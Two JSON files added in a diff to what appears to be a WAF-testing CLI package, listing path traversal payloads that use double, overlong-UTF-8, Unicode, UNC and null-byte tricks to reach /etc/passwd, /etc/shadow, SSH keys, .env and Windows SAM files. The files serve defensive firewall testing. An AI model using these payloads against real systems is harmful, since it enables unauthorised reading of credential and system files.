@waftester/cli 2.8.0

package/payloads/community/traversal/encoding.json

@@ -0,0 +1,558 @@
+[
+  {
+      "id": "TRV-ENC-003",
+      "payload": "..%252f..%252f..%252fetc%252fpasswd",
+      "tags": [
+        "double-encoded",
+        "unix",
+        "quick"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Double URL-encoded forward slashes",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-004",
+      "payload": "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
+      "tags": [
+        "encoded",
+        "unix",
+        "dots"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "URL-encoded dots and slashes",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-005",
+      "payload": "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd",
+      "tags": [
+        "utf-8",
+        "overlong",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "UTF-8 overlong encoding of forward slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-006",
+      "payload": "..%25252F..%25252F..%25252Fetc%25252Fpasswd",
+      "tags": [
+        "triple-encoded",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Triple URL-encoded traversal",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-007",
+      "payload": "..\\%5c..\\%5c..\\%5cwindows\\%5csystem32\\%5cconfig\\%5csam",
+      "tags": [
+        "encoded",
+        "windows",
+        "mixed"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Mixed encoded and unencoded backslashes",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-008",
+      "payload": "%2e%2e%252f%2e%2e%252f%2e%2e%252fetc%252fpasswd",
+      "tags": [
+        "mixed-encoded",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Mixed single and double encoding",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-009",
+      "payload": "..%u2216..%u2216..%u2216etc%u2216passwd",
+      "tags": [
+        "unicode-encoded",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Unicode-encoded backslash (U+2216)",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-033",
+      "payload": "%2e%2e/%2e%2e/%2e%2e/etc/passwd",
+      "tags": [
+        "partial-encoded",
+        "unix",
+        "quick"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Partially encoded traversal (dots only)",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-034",
+      "payload": "..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd",
+      "tags": [
+        "fullwidth",
+        "unicode",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Full-width Unicode forward slash (U+FF0F)",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-035",
+      "payload": "..%e0%80%af..%e0%80%af..%e0%80%afetc%e0%80%afpasswd",
+      "tags": [
+        "utf-8",
+        "overlong",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "UTF-8 overlong 3-byte encoding",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-036",
+      "payload": "..%c1%1c..%c1%1c..%c1%1cetc%c1%1cpasswd",
+      "tags": ["utf-8", "overlong", "slash"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "UTF-8 overlong 2-byte slash encoding",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-037",
+      "payload": "..%f0%80%80%af..%f0%80%80%af..%f0%80%80%afetc%f0%80%80%afpasswd",
+      "tags": ["utf-8", "overlong", "4-byte"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "UTF-8 overlong 4-byte encoding",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-038",
+      "payload": "..%bg%qf..%bg%qf..%bg%qfetc%bg%qfpasswd",
+      "tags": ["invalid-encoding", "bypass"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Invalid percent encoding sequences",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-039",
+      "payload": "....//....//....//etc/passwd",
+      "tags": ["double-dot-slash", "bypass"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Double dot double slash bypass",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-040",
+      "payload": "..../..../..../etc/passwd",
+      "tags": ["quadruple-dot", "bypass"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Quadruple dot traversal",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-041",
+      "payload": "%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd",
+      "tags": ["double-encoded", "full"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Fully double-encoded dots and slashes",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-042",
+      "payload": "..%255c..%255c..%255cwindows%255csystem32%255cconfig%255csam",
+      "tags": ["double-encoded", "windows"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Double-encoded backslash Windows",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-043",
+      "payload": "%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%afetc%c0%afpasswd",
+      "tags": ["mixed-overlong", "bypass"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Mixed overlong dot and slash encoding",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-021",
+      "payload": ".%00./.%00./.%00./etc/passwd",
+      "tags": ["null-byte", "mixed"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Null byte in traversal sequence",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-022",
+      "payload": "..%u002f..%u002f..%u002fetc%u002fpasswd",
+      "tags": ["iis-unicode", "bypass"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "IIS Unicode encoded slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-023",
+      "payload": "..%u005c..%u005c..%u005cwindows%u005csystem32",
+      "tags": ["iis-unicode", "windows"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "IIS Unicode encoded backslash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-024",
+      "payload": "..%uFF0F..%uFF0F..%uFF0Fetc%uFF0Fpasswd",
+      "tags": ["fullwidth-unicode", "bypass"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Unicode full-width slash %uFF0F",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-025",
+      "payload": "..%uFF3C..%uFF3C..%uFF3Cwindows%uFF3Csystem32",
+      "tags": ["fullwidth-unicode", "windows"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Unicode full-width backslash %uFF3C",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-026",
+      "payload": "../\\../\\../\\etc/passwd",
+      "tags": ["mixed-separator", "bypass"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Mixed forward and backslash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-027",
+      "payload": "..%2F%2e%2e%2F%2e%2e%2Fetc%2Fpasswd",
+      "tags": ["selective-encoding", "bypass"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Selective encoding - slashes only",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-028",
+      "payload": "%2e%2e/%2e%2e/%2e%2e/etc/passwd",
+      "tags": ["selective-encoding", "dots-only"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Selective encoding - dots only",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-029",
+      "payload": "..\\u002f..\\u002f..\\u002fetc\\u002fpasswd",
+      "tags": ["java-unicode", "bypass"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Java-style Unicode escape",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-030",
+      "payload": "../../../etc/passwd",
+      "tags": ["html-entity", "numeric"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "HTML numeric entity slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-031",
+      "payload": "../../../etc/passwd",
+      "tags": ["html-entity", "hex"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "HTML hex entity slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-032",
+      "payload": "..%c0%ae%c0%ae%c0%af..%c0%ae%c0%ae%c0%afetc%c0%afpasswd",
+      "tags": ["double-overlong", "dots"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Overlong encoded dots and slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-061","payload": "Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==",
+      "tags": ["base64", "linux"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Base64 encoded ../../etc/passwd",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-062","payload": "L2V0Yy9wYXNzd2Q=",
+      "tags": ["base64", "linux", "absolute"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Base64 encoded /etc/passwd",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-063","payload": "%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5cetc%25%5cpasswd",
+      "tags": ["double-encoded", "backslash"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Double-encoded backslash traversal",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-064",
+      "payload": "..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00",
+      "tags": ["encoded", "null-byte", "shadow"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Encoded traversal with null byte to shadow",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-065",
+      "payload": "..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd",
+      "tags": ["partial-encoding", "malformed"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Partial encoding without percent signs",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-066",
+      "payload": "etc%2fpasswd",
+      "tags": ["encoded", "relative"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Relative path with encoded slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-067",
+      "payload": "etc%5cpasswd",
+      "tags": ["encoded", "backslash"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Relative path with encoded backslash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-068",
+      "payload": "etc%c0%afpasswd",
+      "tags": ["overlong", "relative"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Relative path with overlong slash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-069",
+      "payload": "etc%c0%afpasswd%00",
+      "tags": ["overlong", "null-byte"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Overlong slash with null byte",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-070",
+      "payload": "//./C:/Windows/system32/drivers/etc/hosts",
+      "tags": ["windows", "unc", "device"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows device path bypass",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-071",
+      "payload": "\\\\.\\C:\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "unc", "device"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows device namespace path",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-044",
+      "payload": "\\\\?\\C:\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "unc", "extended"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows extended-length path",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-045",
+      "payload": "\\\\127.0.0.1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "unc", "admin-share"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows UNC admin share path",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-046",
+      "payload": "\\\\localhost\\C$\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "unc", "localhost"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows UNC localhost admin share",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-047",
+      "payload": "\\\\::1\\C$\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "unc", "ipv6"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows UNC IPv6 localhost admin share",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-048",
+      "payload": "\\/127.0.0.1\\C$/Windows///////\\system32/drivers//////\\etc/hosts",
+      "tags": ["windows", "unc", "slash-mix"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Mixed slash UNC with extra slashes",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-049",
+      "payload": "C:..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "drive", "relative"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Drive-relative traversal without separator",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-050",
+      "payload": "..//..//..//..//..//Windows/system32/drivers/etc/hosts",
+      "tags": ["windows", "double-slash"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Double-slash traversal",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-051",
+      "payload": "..\\/..\\/..\\/..\\/..\\/..\\/..\\/Windows/system32\\drivers/etc\\hosts",
+      "tags": ["windows", "mixed-slash", "alternating"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Alternating mixed slash traversal",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-052",
+      "payload": "../..\\..\\/..\\../..\\/Windows/system32\\drivers/etc\\hosts",
+      "tags": ["windows", "mixed-slash", "irregular"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Irregular mixed slash patterns",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-053",
+      "payload": "RANDOMDIR..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "prefix", "random"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Random prefix traversal bypass",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-054",
+      "payload": "..\\..\\..\\..\\..\\..\\..\\..\\Windows\\system32\\drivers\\etc\\hosts.",
+      "tags": ["windows", "trailing-dot"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Trailing dot Windows bypass",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-055",
+      "payload": "..;/..;/..;/..;/etc/passwd",
+      "tags": ["tomcat", "semicolon", "nginx"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Tomcat/Nginx semicolon traversal",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-056",
+      "payload": "/..;/..;/..;/etc/passwd",
+      "tags": ["reverse-proxy", "semicolon"],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Reverse proxy path confusion",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-057",
+      "payload": "....//....//....//etc/passwd",
+      "tags": ["double-dot", "double-slash"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Double dot double slash bypass",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-058",
+      "payload": "....\\\\....\\\\....\\\\Windows\\system32\\drivers\\etc\\hosts",
+      "tags": ["windows", "double-dot", "double-backslash"],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Windows double dot double backslash",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-059",
+      "payload": "/.../.../.../etc/passwd",
+      "tags": ["triple-dot", "linux"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Triple dot traversal attempt",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-ENC-060",
+      "payload": "\\....\\\\\\....\\\\\\....\\\\\\",
+      "tags": ["windows", "obfuscated"],
+      "expected_block": true,
+      "severity_hint": "Medium",
+      "notes": "Obfuscated Windows traversal",
+      "category": "Traversal"
+  }
+]

package/payloads/community/traversal/null-byte.json

@@ -0,0 +1,105 @@
+[
+  {
+      "id": "TRV-NULL-002",
+      "payload": "../../../etc/shadow%00.txt",
+      "tags": [
+        "null-byte",
+        "unix",
+        "quick"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Null byte bypass with .txt extension",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-003",
+      "payload": "..\\..\\..\\windows\\system32\\config\\sam%00.pdf",
+      "tags": [
+        "null-byte",
+        "windows"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Windows null byte bypass with .pdf",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-004",
+      "payload": "../../../root/.ssh/id_rsa%00.png",
+      "tags": [
+        "null-byte",
+        "unix",
+        "ssh"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "SSH key with null byte image extension",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-005",
+      "payload": "../../../etc%00/passwd",
+      "tags": [
+        "null-byte",
+        "mid-path",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Null byte in middle of path",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-006",
+      "payload": "../../../.env%00%00.bak",
+      "tags": [
+        "null-byte",
+        "multiple",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Multiple null bytes for double bypass",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-007",
+      "payload": "../../../var/www/html/.htaccess%00.txt",
+      "tags": [
+        "null-byte",
+        "web",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "Apache config with null byte",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-008",
+      "payload": "..\\..\\..\\inetpub\\wwwroot\\web.config%00.xml",
+      "tags": [
+        "null-byte",
+        "windows",
+        "iis"
+    ],
+      "expected_block": true,
+      "severity_hint": "High",
+      "notes": "IIS config with null byte",
+      "category": "Traversal"
+  },
+  {
+      "id": "TRV-NULL-009",
+      "payload": "../../../proc/self/environ%00.log",
+      "tags": [
+        "null-byte",
+        "process",
+        "unix"
+    ],
+      "expected_block": true,
+      "severity_hint": "Critical",
+      "notes": "Process environment with null byte",
+      "category": "Traversal"
+  }
+]